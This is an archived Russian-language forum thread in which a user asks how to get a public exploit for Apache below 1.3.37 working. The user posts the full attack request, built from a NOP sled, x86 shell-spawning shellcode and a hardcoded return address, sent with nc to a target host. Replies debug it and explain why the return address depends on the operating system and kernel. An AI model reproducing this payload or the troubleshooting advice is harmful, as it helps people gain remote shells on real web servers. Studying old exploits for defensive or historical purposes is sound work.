PDA

Просмотр полной версии : Apche <1.3.37 exploit


invis87
02.04.2010, 15:35
Помогите разобраться с эксплойтом - http://milw0rm.com/exploits/2237
Пытаюсь его запустить но сервер в ответ пишет
HTTP/1.1 400 Bad Request

Я так понимаю в этой строке:
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
закралась лишняя кавычка, но вот какая именно не уловлю.

wkar
02.04.2010, 15:57
попробуй убрать кавычку возле гет

invis87
02.04.2010, 16:07
Не помогло.
echo -ne my_string_for_print
работает так же как и
echo -ne "my_string_for_print"

invis87
02.04.2010, 17:16
echo -ne "GET /kung/ldap://localhost/%90%90%90%90%90%90%90%90%90%90%90\
%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90\
%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90\
%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90\
%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90\
%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%0 6%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0 e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b 0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%c d%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%2 3%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%8 8%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%c d%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

Такая штука тоже не работает. Даже с удалёнными CCCCCCCCCC....
пробовал так:

nc <host> <port>
<тут мессага хосту>
Если в месседже после GET <uri> есть пробел, то сразу выбрасывается <TITLE>400 Bad Request</TITLE>
Как же тогда выполнить экспойт с его
HTTP/1.1\r\n\ Host: $host\r\n\r\n
Что вообще ЭТО делает

overxor
04.04.2010, 19:23
HTTP/1.1\r\n\ Host: $host\r\n\r\n
Что вообще ЭТО делает
Это сетевая этика. Чтобы клиент и сервер понимали друг друга и не было путаницы, было введено использовать возврат каретки и переход на новую строку.

ldap обработчик в апаче по дефолту, вроде, отключен, поэтому не вызывается уязвимая функция.

Если бы даже он был включен, вероятность выполнения это эксплойта была бы ничтожна мала, т.к. адрес возврата задан для определенной ОС(в данном случае debian). Так что, тебе придется сначала найти эту уязвимость, проэксплуатировать, написать версии для разных ОС и только потом уже использовать =) enjoy

invis87
05.04.2010, 17:18
спасибо

Migel
07.06.2010, 15:59
Если бы даже он был включен, вероятность выполнения это эксплойта была бы ничтожна мала, т.к. адрес возврата задан для определенной ОС(в данном случае debian).
Я не понимаю при чем здесь ОС? Разьве Apache для разных линухов отличаются?

overxor
07.06.2010, 17:23
Apache - нет,а адрес возварата везде разный

Migel
07.06.2010, 17:39
адрес возварата везде разный
Я не силен в программировании, но зачем нужен адрес возврата для DoS експлойта? Записать в память кашу можно и не зная его...

Migel
07.06.2010, 17:47
И еще - разве такие вещи не зависят от ядра? Т.е. ясное дело, что такой сплойт не подойдет к соляре, но разьве он не будет работать скажем на ВСЕХ линухах с одинаковым ядром?

overxor
08.06.2010, 14:44
Я не силен в программировании, но зачем нужен адрес возврата для DoS експлойта? Записать в память кашу можно и не зная его...

Адрес возврата нужен чтобы передать по нему управление. И с чего ты решил, что это DoS эксплойт? Присутствует вполне рабочий шелкод, ноп след.

И еще - разве такие вещи не зависят от ядра? Т.е. ясное дело, что такой сплойт не подойдет к соляре, но разьве он не будет работать скажем на ВСЕХ линухах с одинаковым ядром?

Да зависит от ядра. Если они идентичны, то и адрес возврата можно брать из фиксированного диапазона адресов.

Migel
08.06.2010, 21:19
И с чего ты решил, что это DoS эксплойт?
Из описания на milw0rm...